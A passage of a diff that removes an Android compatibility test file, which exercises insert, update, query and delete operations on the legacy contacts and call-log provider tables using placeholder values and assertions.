- mCallLogProvider = mContentResolver.acquireContentProviderClient(CallLog.AUTHORITY);
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's people table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testPeopleTable() {
- final String[] PEOPLE_PROJECTION = new String[] {
- People._ID,
- People.NAME, People.NOTES, People.TIMES_CONTACTED,
- People.LAST_TIME_CONTACTED, People.STARRED,
- People.CUSTOM_RINGTONE, People.SEND_TO_VOICEMAIL,};
- final int ID_INDEX = 0;
- final int NAME_INDEX = 1;
- final int NOTES_INDEX = 2;
- final int TIMES_CONTACTED_INDEX = 3;
- final int LAST_TIME_CONTACTED_INDEX = 4;
- final int STARRED_INDEX = 5;
- final int CUSTOM_RINGTONE_INDEX = 6;
- final int SEND_TO_VOICEMAIL_INDEX = 7;
-
- String insertPeopleName = "name_insert";
- String insertPeopleNotes = "notes_insert";
- String updatePeopleName = "name_update";
- String updatePeopleNotes = "notes_update";
-
- try {
- mProvider.delete(People.CONTENT_URI, PeopleColumns.NAME + " = ?",
- new String[] {insertPeopleName});
- // Test: insert
- ContentValues value = new ContentValues();
- value.put(PeopleColumns.NAME, insertPeopleName);
- value.put(PeopleColumns.NOTES, insertPeopleNotes);
- value.put(PeopleColumns.LAST_TIME_CONTACTED, 0);
- value.put(PeopleColumns.CUSTOM_RINGTONE, (String) null);
- value.put(PeopleColumns.SEND_TO_VOICEMAIL, 1);
-
- Uri uri = mProvider.insert(People.CONTENT_URI, value);
- Cursor cursor = mProvider.query(People.CONTENT_URI,
- PEOPLE_PROJECTION, PeopleColumns.NAME + " = ?",
- new String[] {insertPeopleName}, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(insertPeopleName, cursor.getString(NAME_INDEX));
- assertEquals(insertPeopleNotes, cursor.getString(NOTES_INDEX));
- assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX));
- assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
- assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX));
- assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
- assertEquals(0, cursor.getInt(STARRED_INDEX));
- // TODO: Figure out what can be tested for the SYNC_* columns
- int id = cursor.getInt(ID_INDEX);
- cursor.close();
-
- // Test: update
- value.clear();
- long now = new Date().getTime();
- value.put(PeopleColumns.NAME, updatePeopleName);
- value.put(PeopleColumns.NOTES, updatePeopleNotes);
- value.put(PeopleColumns.LAST_TIME_CONTACTED, (int) now);
-
- mProvider.update(uri, value, null, null);
- cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
- "people._id" + " = " + id, null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(updatePeopleName, cursor.getString(NAME_INDEX));
- assertEquals(updatePeopleNotes, cursor.getString(NOTES_INDEX));
- assertEquals(0, cursor.getInt(LAST_TIME_CONTACTED_INDEX)); // Not supported by CP1
- assertNull(cursor.getString(CUSTOM_RINGTONE_INDEX));
- assertEquals(1, cursor.getInt(SEND_TO_VOICEMAIL_INDEX)); // Not supported by CP1
- assertEquals(0, cursor.getInt(TIMES_CONTACTED_INDEX));
- assertEquals(0, cursor.getInt(STARRED_INDEX));
- // TODO: Figure out what can be tested for the SYNC_* columns
- cursor.close();
-
- // Test: delete
- mProvider.delete(uri, null, null);
- cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
- "people._id" + " = " + id, null, null, null);
- assertEquals(0, cursor.getCount());
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's groups table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testGroupsTable() {
- final String[] GROUPS_PROJECTION = new String[] {
- Groups._ID, Groups.NAME, Groups.NOTES,
- Groups.SYSTEM_ID};
- final int ID_INDEX = 0;
- final int NAME_INDEX = 1;
- final int NOTES_INDEX = 2;
- final int SYSTEM_ID_INDEX = 3;
-
- String insertGroupsName = "name_insert";
- String insertGroupsNotes = "notes_insert";
- String updateGroupsNotes = "notes_update";
- String updateGroupsSystemId = "system_id_update";
-
- try {
- // Test: insert
- ContentValues value = new ContentValues();
- value.put(GroupsColumns.NAME, insertGroupsName);
- value.put(GroupsColumns.NOTES, insertGroupsNotes);
- value.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
-
- Uri uri = mProvider.insert(Groups.CONTENT_URI, value);
- Cursor cursor = mProvider.query(Groups.CONTENT_URI,
- GROUPS_PROJECTION, Groups._ID + " = ?",
- new String[] {uri.getPathSegments().get(1)}, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(insertGroupsName, cursor.getString(NAME_INDEX));
- assertEquals(insertGroupsNotes, cursor.getString(NOTES_INDEX));
- assertEquals(Groups.GROUP_MY_CONTACTS, cursor.getString(SYSTEM_ID_INDEX));
- int id = cursor.getInt(ID_INDEX);
- cursor.close();
-
- // Test: update
- value.clear();
- value.put(GroupsColumns.NOTES, updateGroupsNotes);
- value.put(GroupsColumns.SYSTEM_ID, updateGroupsSystemId);
-
- assertEquals(1, mProvider.update(uri, value, null, null));
- cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
- Groups._ID + " = " + id, null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(updateGroupsNotes, cursor.getString(NOTES_INDEX));
- assertEquals(updateGroupsSystemId, cursor.getString(SYSTEM_ID_INDEX));
- cursor.close();
-
- // Test: delete
- assertEquals(1, mProvider.delete(uri, null, null));
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's photos table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testPhotosTable() {
- final String[] PHOTOS_PROJECTION = new String[] {
- Photos._ID, Photos.EXISTS_ON_SERVER, Photos.PERSON_ID,
- Photos.LOCAL_VERSION, Photos.DATA,
- Photos.SYNC_ERROR};
- final int ID_INDEX = 0;
- final int EXISTS_ON_SERVER_INDEX = 1;
- final int PERSON_ID_INDEX = 2;
- final int LOCAL_VERSION_INDEX = 3;
- final int DATA_INDEX = 4;
- final int SYNC_ERROR_INDEX = 5;
-
- String updatePhotosLocalVersion = "local_version1";
-
- try {
- Context context = getInstrumentation().getTargetContext();
- InputStream inputStream = context.getResources().openRawResource(
- android.provider.cts.R.drawable.testimage);
- int size = inputStream.available();
- byte[] data = new byte[size];
- inputStream.read(data);
- BitmapDrawable sourceDrawable = (BitmapDrawable) context.getResources().getDrawable(
- android.provider.cts.R.drawable.testimage);
- // Test: insert
- ContentValues value = new ContentValues();
- value.put(Photos.PERSON_ID, 1);
- value.put(Photos.LOCAL_VERSION, "local_version0");
- value.put(Photos.DATA, data);
- try {
- mProvider.insert(Photos.CONTENT_URI, value);
- fail("Should throw out UnsupportedOperationException.");
- } catch (UnsupportedOperationException e) {
- // Don't support direct insert operation to photos URI.
- }
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- } catch (IOException e) {
- fail("Unexpected IOException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's phones table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testPhonesTable() {
- final String[] PHONES_PROJECTION = new String[] {
- Phones._ID, Phones.PERSON_ID, Phones.TYPE, Phones.NUMBER,
- Phones.NUMBER_KEY, Phones.LABEL, Phones.ISPRIMARY};
- final int ID_INDEX = 0;
- final int PERSON_ID_INDEX = 1;
- final int TYPE_INDEX = 2;
- final int NUMBER_INDEX = 3;
- final int NUMBER_KEY_INDEX = 4;
- final int LABEL_INDEX = 5;
- final int ISPRIMARY_INDEX = 6;
-
- String insertPhonesNumber = "0123456789";
- String updatePhonesNumber = "987*654yu3211+";
- String customeLabel = "custom_label";
-
- try {
- ContentValues value = new ContentValues();
- value.put(PeopleColumns.NAME, "name_phones_test_stub");
- Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
- int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
- // Test: insert
- value.clear();
- value.put(Phones.PERSON_ID, peopleId);
- value.put(Phones.TYPE, Phones.TYPE_HOME);
- value.put(Phones.NUMBER, insertPhonesNumber);
- value.put(Phones.ISPRIMARY, 1);
-
- Uri uri = mProvider.insert(Phones.CONTENT_URI, value);
- Cursor cursor = mProvider.query(Phones.CONTENT_URI,
- PHONES_PROJECTION, Phones.PERSON_ID + " = " + peopleId,
- null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- assertEquals(Phones.TYPE_HOME, cursor.getInt(TYPE_INDEX));
- assertEquals(insertPhonesNumber, cursor.getString(NUMBER_INDEX));
- assertEquals(PhoneNumberUtils.getStrippedReversed(insertPhonesNumber),
- cursor.getString(NUMBER_KEY_INDEX));
- assertNull(cursor.getString(LABEL_INDEX));
- assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
- int id = cursor.getInt(ID_INDEX);
- cursor.close();
-
- // Test: update
- value.clear();
- value.put(Phones.TYPE, Phones.TYPE_CUSTOM);
- value.put(Phones.NUMBER, updatePhonesNumber);
- value.put(Phones.LABEL, customeLabel);
-
- mProvider.update(uri, value, null, null);
- cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
- "phones._id = " + id, null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
- assertEquals(updatePhonesNumber, cursor.getString(NUMBER_INDEX));
- assertEquals(PhoneNumberUtils.getStrippedReversed(updatePhonesNumber),
- cursor.getString(NUMBER_KEY_INDEX));
- assertEquals(customeLabel, cursor.getString(LABEL_INDEX));
- assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
- cursor.close();
-
- // Test: delete
- mProvider.delete(uri, null, null);
- cursor = mProvider.query(Phones.CONTENT_URI, PHONES_PROJECTION,
- Phones.PERSON_ID + " = " + peopleId, null, null, null);
- assertEquals(0, cursor.getCount());
-
- mProvider.delete(peopleUri, null, null);
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's organizations table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testOrganizationsTable() {
- final String[] ORGANIZATIONS_PROJECTION = new String[] {
- Organizations._ID, Organizations.COMPANY, Organizations.TITLE,
- Organizations.ISPRIMARY, Organizations.TYPE, Organizations.LABEL,
- Organizations.PERSON_ID};
- final int ID_INDEX = 0;
- final int COMPANY_INDEX = 1;
- final int TITLE_INDEX = 2;
- final int ISPRIMARY_INDEX = 3;
- final int TYPE_INDEX = 4;
- final int LABEL_INDEX = 5;
- final int PERSON_ID_INDEX = 6;
-
- String insertOrganizationsCompany = "company_insert";
- String insertOrganizationsTitle = "title_insert";
- String updateOrganizationsCompany = "company_update";
- String updateOrganizationsTitle = "title_update";
- String customOrganizationsLabel = "custom_label";
-
- try {
- ContentValues value = new ContentValues();
- value.put(PeopleColumns.NAME, "name_organizations_test_stub");
- Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
- int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
- // Test: insert
- value.clear();
- value.put(Organizations.COMPANY, insertOrganizationsCompany);
- value.put(Organizations.TITLE, insertOrganizationsTitle);
- value.put(Organizations.TYPE, Organizations.TYPE_WORK);
- value.put(Organizations.PERSON_ID, peopleId);
- value.put(Organizations.ISPRIMARY, 1);
-
- Uri uri = mProvider.insert(Organizations.CONTENT_URI, value);
- Cursor cursor = mProvider.query(
- Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
- Organizations.PERSON_ID + " = " + peopleId,
- null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(insertOrganizationsCompany, cursor.getString(COMPANY_INDEX));
- assertEquals(insertOrganizationsTitle, cursor.getString(TITLE_INDEX));
- assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
- assertEquals(Organizations.TYPE_WORK, cursor.getInt(TYPE_INDEX));
- assertNull(cursor.getString(LABEL_INDEX));
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- int id = cursor.getInt(ID_INDEX);
- cursor.close();
-
- // Test: update
- value.clear();
- value.put(Organizations.COMPANY, updateOrganizationsCompany);
- value.put(Organizations.TITLE, updateOrganizationsTitle);
- value.put(Organizations.TYPE, Organizations.TYPE_CUSTOM);
- value.put(Organizations.LABEL, customOrganizationsLabel);
-
- mProvider.update(uri, value, null, null);
- cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
- "organizations._id" + " = " + id, null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(updateOrganizationsCompany, cursor.getString(COMPANY_INDEX));
- assertEquals(updateOrganizationsTitle, cursor.getString(TITLE_INDEX));
- assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
- assertEquals(Organizations.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
- assertEquals(customOrganizationsLabel, cursor.getString(LABEL_INDEX));
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- cursor.close();
-
- // Test: delete
- mProvider.delete(uri, null, null);
- cursor = mProvider.query(Organizations.CONTENT_URI, ORGANIZATIONS_PROJECTION,
- Organizations.PERSON_ID + " = " + peopleId, null, null, null);
- assertEquals(0, cursor.getCount());
-
- mProvider.delete(peopleUri, null, null);
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's calls table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testCallsTable() {
- final String[] CALLS_PROJECTION = new String[] {
- Calls._ID, Calls.NUMBER, Calls.DATE, Calls.DURATION, Calls.TYPE,
- Calls.NEW, Calls.CACHED_NAME, Calls.CACHED_NUMBER_TYPE,
- Calls.CACHED_NUMBER_LABEL, Calls.CACHED_FORMATTED_NUMBER,
- Calls.CACHED_MATCHED_NUMBER, Calls.CACHED_NORMALIZED_NUMBER,
- Calls.CACHED_LOOKUP_URI, Calls.CACHED_PHOTO_ID, Calls.COUNTRY_ISO,
- Calls.GEOCODED_LOCATION, Calls.CACHED_PHOTO_URI, Calls.LAST_MODIFIED};
- final int ID_INDEX = 0;
- final int NUMBER_INDEX = 1;
- final int DATE_INDEX = 2;
- final int DURATION_INDEX = 3;
- final int TYPE_INDEX = 4;
- final int NEW_INDEX = 5;
- final int CACHED_NAME_INDEX = 6;
- final int CACHED_NUMBER_TYPE_INDEX = 7;
- final int CACHED_NUMBER_LABEL_INDEX = 8;
- final int CACHED_FORMATTED_NUMBER_INDEX = 9;
- final int CACHED_MATCHED_NUMBER_INDEX = 10;
- final int CACHED_NORMALIZED_NUMBER_INDEX = 11;
- final int CACHED_LOOKUP_URI_INDEX = 12;
- final int CACHED_PHOTO_ID_INDEX = 13;
- final int COUNTRY_ISO_INDEX = 14;
- final int GEOCODED_LOCATION_INDEX = 15;
- final int CACHED_PHOTO_URI_INDEX = 16;
- final int LAST_MODIFIED_INDEX = 17;
-
- String insertCallsNumber = "0123456789";
- int insertCallsDuration = 120;
- String insertCallsName = "cached_name_insert";
- String insertCallsNumberLabel = "cached_label_insert";
-
- String updateCallsNumber = "987654321";
- int updateCallsDuration = 310;
- String updateCallsName = "cached_name_update";
- String updateCallsNumberLabel = "cached_label_update";
- String updateCachedFormattedNumber = "987-654-4321";
- String updateCachedMatchedNumber = "987-654-4321";
- String updateCachedNormalizedNumber = "+1987654321";
- String updateCachedLookupUri = "cached_lookup_uri_update";
- long updateCachedPhotoId = 100;
- String updateCachedPhotoUri = "content://com.android.contacts/display_photo/1";
- String updateCountryIso = "hk";
- String updateGeocodedLocation = "Hong Kong";
-
- try {
- // Test: insert
- int insertDate = (int) new Date().getTime();
- ContentValues value = new ContentValues();
- value.put(Calls.NUMBER, insertCallsNumber);
- value.put(Calls.DATE, insertDate);
- value.put(Calls.DURATION, insertCallsDuration);
- value.put(Calls.TYPE, Calls.INCOMING_TYPE);
- value.put(Calls.NEW, 0);
- value.put(Calls.CACHED_NAME, insertCallsName);
- value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_HOME);
- value.put(Calls.CACHED_NUMBER_LABEL, insertCallsNumberLabel);
-
- Uri uri = mCallLogProvider.insert(Calls.CONTENT_URI, value);
- Cursor cursor = mCallLogProvider.query(
- Calls.CONTENT_URI, CALLS_PROJECTION,
- Calls.NUMBER + " = ?",
- new String[] {insertCallsNumber}, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
- assertEquals(insertDate, cursor.getInt(DATE_INDEX));
- assertEquals(insertCallsDuration, cursor.getInt(DURATION_INDEX));
- assertEquals(Calls.INCOMING_TYPE, cursor.getInt(TYPE_INDEX));
- assertEquals(0, cursor.getInt(NEW_INDEX));
- assertEquals(insertCallsName, cursor.getString(CACHED_NAME_INDEX));
- assertEquals(Phones.TYPE_HOME, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
- assertEquals(insertCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
- assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
- int id = cursor.getInt(ID_INDEX);
- cursor.close();
-
- // Test: update. Also add new cached fields to simulate extra cached fields being
- // inserted into the call log after the initial lookup.
- int now = (int) new Date().getTime();
- value.clear();
- value.put(Calls.NUMBER, updateCallsNumber);
- value.put(Calls.DATE, now);
- value.put(Calls.DURATION, updateCallsDuration);
- value.put(Calls.TYPE, Calls.MISSED_TYPE);
- value.put(Calls.NEW, 1);
- value.put(Calls.CACHED_NAME, updateCallsName);
- value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_CUSTOM);
- value.put(Calls.CACHED_NUMBER_LABEL, updateCallsNumberLabel);
- value.put(Calls.CACHED_FORMATTED_NUMBER, updateCachedFormattedNumber);
- value.put(Calls.CACHED_MATCHED_NUMBER, updateCachedMatchedNumber);
- value.put(Calls.CACHED_NORMALIZED_NUMBER, updateCachedNormalizedNumber);
- value.put(Calls.CACHED_PHOTO_ID, updateCachedPhotoId);
- value.put(Calls.CACHED_PHOTO_URI, updateCachedPhotoUri);
- value.put(Calls.COUNTRY_ISO, updateCountryIso);
- value.put(Calls.GEOCODED_LOCATION, updateGeocodedLocation);
- value.put(Calls.CACHED_LOOKUP_URI, updateCachedLookupUri);
-
- mCallLogProvider.update(uri, value, null, null);
- cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
- Calls._ID + " = " + id, null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
- assertEquals(now, cursor.getInt(DATE_INDEX));
- assertEquals(updateCallsDuration, cursor.getInt(DURATION_INDEX));
- assertEquals(Calls.MISSED_TYPE, cursor.getInt(TYPE_INDEX));
- assertEquals(1, cursor.getInt(NEW_INDEX));
- assertEquals(updateCallsName, cursor.getString(CACHED_NAME_INDEX));
- assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
- assertEquals(updateCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
- assertEquals(updateCachedFormattedNumber,
- cursor.getString(CACHED_FORMATTED_NUMBER_INDEX));
- assertEquals(updateCachedMatchedNumber, cursor.getString(CACHED_MATCHED_NUMBER_INDEX));
- assertEquals(updateCachedNormalizedNumber,
- cursor.getString(CACHED_NORMALIZED_NUMBER_INDEX));
- assertEquals(updateCachedPhotoId, cursor.getLong(CACHED_PHOTO_ID_INDEX));
- assertEquals(updateCachedPhotoUri, cursor.getString(CACHED_PHOTO_URI_INDEX));
- assertEquals(updateCountryIso, cursor.getString(COUNTRY_ISO_INDEX));
- assertEquals(updateGeocodedLocation, cursor.getString(GEOCODED_LOCATION_INDEX));
- assertEquals(updateCachedLookupUri, cursor.getString(CACHED_LOOKUP_URI_INDEX));
- assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
- cursor.close();
-
- // Test: delete
- mCallLogProvider.delete(Calls.CONTENT_URI, Calls._ID + " = " + id, null);
- cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
- Calls._ID + " = " + id, null, null, null);
- assertEquals(0, cursor.getCount());
- cursor.close();
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's contact_methods table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testContactMethodsTable() {
- final String[] CONTACT_METHODS_PROJECTION = new String[] {
- ContactMethods._ID, ContactMethods.PERSON_ID, ContactMethods.KIND,
- ContactMethods.DATA, ContactMethods.AUX_DATA, ContactMethods.TYPE,
- ContactMethods.LABEL, ContactMethods.ISPRIMARY};
- final int ID_INDEX = 0;
- final int PERSON_ID_INDEX = 1;
- final int KIND_INDEX = 2;
- final int DATA_INDEX = 3;
- final int AUX_DATA_INDEX = 4;
- final int TYPE_INDEX = 5;
- final int LABEL_INDEX = 6;
- final int ISPRIMARY_INDEX = 7;
-
- int insertKind = Contacts.KIND_EMAIL;
- String insertData = "sample@gmail.com";
- String insertAuxData = "auxiliary_data_insert";
- String updateData = "elpmas@liamg.com";
- String updateAuxData = "auxiliary_data_update";
- String customLabel = "custom_label";
-
- try {
- ContentValues value = new ContentValues();
- value.put(PeopleColumns.NAME, "name_contact_methods_test_stub");
- Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
- int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
- // Test: insert
- value.clear();
- value.put(ContactMethods.PERSON_ID, peopleId);
- value.put(ContactMethods.KIND, insertKind);
- value.put(ContactMethods.DATA, insertData);
- value.put(ContactMethods.AUX_DATA, insertAuxData);
- value.put(ContactMethods.TYPE, ContactMethods.TYPE_WORK);
- value.put(ContactMethods.ISPRIMARY, 1);
-
- Uri uri = mProvider.insert(ContactMethods.CONTENT_URI, value);
- Cursor cursor = mProvider.query(
- ContactMethods.CONTENT_URI, CONTACT_METHODS_PROJECTION,
- ContactMethods.PERSON_ID + " = " + peopleId,
- null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- assertEquals(insertKind, cursor.getInt(KIND_INDEX));
- assertEquals(insertData, cursor.getString(DATA_INDEX));
- assertEquals(insertAuxData, cursor.getString(AUX_DATA_INDEX));
- assertEquals(ContactMethods.TYPE_WORK, cursor.getInt(TYPE_INDEX));
- assertNull(cursor.getString(LABEL_INDEX));
- assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
- int id = cursor.getInt(ID_INDEX);
- cursor.close();
-
- // Test: update
- value.clear();
- value.put(ContactMethods.DATA, updateData);
- value.put(ContactMethods.AUX_DATA, updateAuxData);
- value.put(ContactMethods.TYPE, ContactMethods.TYPE_CUSTOM);
- value.put(ContactMethods.LABEL, customLabel);
- value.put(ContactMethods.ISPRIMARY, 1);
-
- mProvider.update(uri, value, null, null);
- cursor = mProvider.query(ContactMethods.CONTENT_URI,
- CONTACT_METHODS_PROJECTION,
- "contact_methods._id" + " = " + id, null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- assertEquals(updateData, cursor.getString(DATA_INDEX));
- assertEquals(updateAuxData, cursor.getString(AUX_DATA_INDEX));
- assertEquals(ContactMethods.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
- assertEquals(customLabel, cursor.getString(LABEL_INDEX));
- assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
- cursor.close();
-
- // Test: delete
- mProvider.delete(uri, null, null);
- cursor = mProvider.query(ContactMethods.CONTENT_URI,
- CONTACT_METHODS_PROJECTION,
- "contact_methods._id" + " = " + id, null, null, null);
- assertEquals(0, cursor.getCount());
- cursor.close();
-
- mProvider.delete(peopleUri, null, null);
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's settings table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testSettingsTable() {
- final String[] SETTINGS_PROJECTION = new String[] {
- Settings._ID, Settings._SYNC_ACCOUNT, Settings._SYNC_ACCOUNT_TYPE,
- Settings.KEY, Settings.VALUE};
- final int ID_INDEX = 0;
- final int SYNC_ACCOUNT_NAME_INDEX = 1;
- final int SYNC_ACCOUNT_TYPE_INDEX = 2;
- final int KEY_INDEX = 3;
- final int VALUE_INDEX = 4;
-
- String insertKey = "key_insert";
- String insertValue = "value_insert";
- String updateKey = "key_update";
- String updateValue = "value_update";
-
- try {
- // Test: insert
- ContentValues value = new ContentValues();
- value.put(Settings.KEY, insertKey);
- value.put(Settings.VALUE, insertValue);
-
- try {
- mProvider.insert(Settings.CONTENT_URI, value);
- fail("Should throw out UnsupportedOperationException.");
- } catch (UnsupportedOperationException e) {
- // Don't support direct insert operation to setting URI.
- }
-
- // use the methods in Settings class to insert a row.
- Settings.setSetting(mContentResolver, null, insertKey, insertValue);
-
- Cursor cursor = mProvider.query(
- Settings.CONTENT_URI, SETTINGS_PROJECTION,
- Settings.KEY + " = ?",
- new String[] {insertKey}, null, null);
- assertTrue(cursor.moveToNext());
- assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
- assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
- assertEquals(insertKey, cursor.getString(KEY_INDEX));
- assertEquals(insertValue, cursor.getString(VALUE_INDEX));
- int id = cursor.getInt(ID_INDEX);
- cursor.close();
-
- // Test: update
- // if we update with a not-existed key, it equals insert operation.
- value.clear();
- value.put(Settings.KEY, updateKey);
- value.put(Settings.VALUE, updateValue);
-
- mProvider.update(Settings.CONTENT_URI, value, null, null);
- cursor = mProvider.query(
- Settings.CONTENT_URI, SETTINGS_PROJECTION,
- Settings.KEY + " = ?",
- new String[] {updateKey}, null, null);
- assertTrue(cursor.moveToNext());
- assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
- assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
- assertEquals(updateKey, cursor.getString(KEY_INDEX));
- assertEquals(updateValue, cursor.getString(VALUE_INDEX));
- cursor.close();
- cursor = mProvider.query(
- Settings.CONTENT_URI, SETTINGS_PROJECTION,
- Settings.KEY + " = ?",
- new String[] {insertKey}, null, null);
- assertTrue(cursor.moveToNext());
- assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
- assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
- assertEquals(insertKey, cursor.getString(KEY_INDEX));
- assertEquals(insertValue, cursor.getString(VALUE_INDEX));
- cursor.close();
-
- // Test: update
- // if we update with a not-existed key, then it is really update operation.
- value.clear();
- value.put(Settings.KEY, insertKey);
- value.put(Settings.VALUE, updateValue);
-
- mProvider.update(Settings.CONTENT_URI, value, null, null);
- cursor = mProvider.query(
- Settings.CONTENT_URI, SETTINGS_PROJECTION,
- Settings.KEY + " = ?",
- new String[] {insertKey}, null, null);
- assertTrue(cursor.moveToNext());
- assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
- assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
- assertEquals(insertKey, cursor.getString(KEY_INDEX));
- assertEquals(updateValue, cursor.getString(VALUE_INDEX));
- cursor.close();
- cursor = mProvider.query(
- Settings.CONTENT_URI, SETTINGS_PROJECTION,
- Settings.KEY + " = ?",
- new String[] {updateKey}, null, null);
- assertTrue(cursor.moveToNext());
- assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
- assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
- assertEquals(updateKey, cursor.getString(KEY_INDEX));
- assertEquals(updateValue, cursor.getString(VALUE_INDEX));
- cursor.close();
-
- // Test: delete
- try {
- mProvider.delete(Settings.CONTENT_URI, Settings._ID + " = " + id, null);
- fail("Should throw out UnsupportedOperationException.");
- } catch (UnsupportedOperationException e) {
- // Don't support delete operation to setting URI.
- }
-
- // NOTE: because the delete operation is not supported,
- // there will be some garbage rows in settings table.
- } catch (RemoteException e) {
- fail("Unexpected RemoteException");
- }
- }
-
- /**
- * Test case for the behavior of the ContactsProvider's extensions table
- * It does not test any APIs in android.provider.Contacts.java
- */
- public void testExtensionsTable() {
- final String[] EXTENSIONS_PROJECTION = new String[] {
- Extensions._ID, Extensions.NAME,
- Extensions.VALUE, Extensions.PERSON_ID};
- final int NAME_INDEX = 1;
- final int VALUE_INDEX = 2;
- final int PERSON_ID_INDEX = 3;
-
- String insertName = "name_insert";
- String insertValue = "value_insert";
- String updateName = "name_update";
- String updateValue = "value_update";
-
- try {
- ContentValues value = new ContentValues();
- value.put(PeopleColumns.NAME, "name_extensions_test_stub");
- Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
- int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
-
- // Test: insert
- value.clear();
- value.put(Extensions.NAME, insertName);
- value.put(Extensions.VALUE, insertValue);
- value.put(Extensions.PERSON_ID, peopleId);
-
- Uri uri = mProvider.insert(Extensions.CONTENT_URI, value);
- Cursor cursor = mProvider.query(
- Extensions.CONTENT_URI, EXTENSIONS_PROJECTION,
- Extensions.PERSON_ID + " = " + peopleId,
- null, null, null);
- assertTrue(cursor.moveToNext());
- assertEquals(insertName, cursor.getString(NAME_INDEX));
- assertEquals(insertValue, cursor.getString(VALUE_INDEX));
- assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
- cursor.close();
-
- // Test: update
- value.clear();
- value.put(Extensions.NAME, updateName);
